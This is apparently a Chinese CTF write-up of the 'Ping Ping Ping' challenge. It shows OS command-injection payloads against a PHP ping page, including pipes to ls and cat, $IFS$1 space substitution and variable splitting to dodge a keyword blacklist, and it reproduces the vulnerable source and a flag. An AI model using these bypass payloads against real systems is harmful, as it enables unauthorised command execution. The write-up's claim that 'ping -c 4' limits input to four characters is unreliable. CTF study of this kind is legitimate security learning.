[GXYCTF2019]Ping Ping Ping
打开
显示个/?ip=
写一下本地试试
?ip=127.0.0.1
有回显看一下列表
?ip=127.0.0.1|ls
?ip=127.0.0.1|ls
发现有flag.php访问文件
?ip=127.0.0.1|cat flag.php
得到这种界面,需要进行空格的过滤
空格过滤常见绕过注释:
< > %20(space), %09(tab), $IFS$1
不行符号也过滤了
换一种注释
?ip=127.0.0.1|cat$IFS$1flag.php
flag也给过滤了
回头看看另外一个文件
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
源代码告诉我们 如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤),并且如果我们构造的payload中有 空格 页面就会返回一个 fxck your space ,如果我们构造的payload中有 bash 页面就会返回一个 fxck your bash…
if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip),换句话说我们只能输入四个字符
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
shell_exec(string $cmd): string
exec 是 Shell 内置命令,它有两种用法,一种是执行 Shell 命令,一种是操作文件描述符
ping -c Count 指定要被发送(或接收)的回送信号请求的数目,由 Count 变量指出
之后输出<pre>(输出原代码),并且将变量 a 所表示的数据给打印出来,如果我们令 $a=g;那么就可以饶过falg的黑名单
构造:
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
弄完没找到,查了才知道php代码会被HTML解析成注释,所以查看源码即可发现flag。
flag{e9ccf59a-a3ab-45ca-a746-ff312830262d}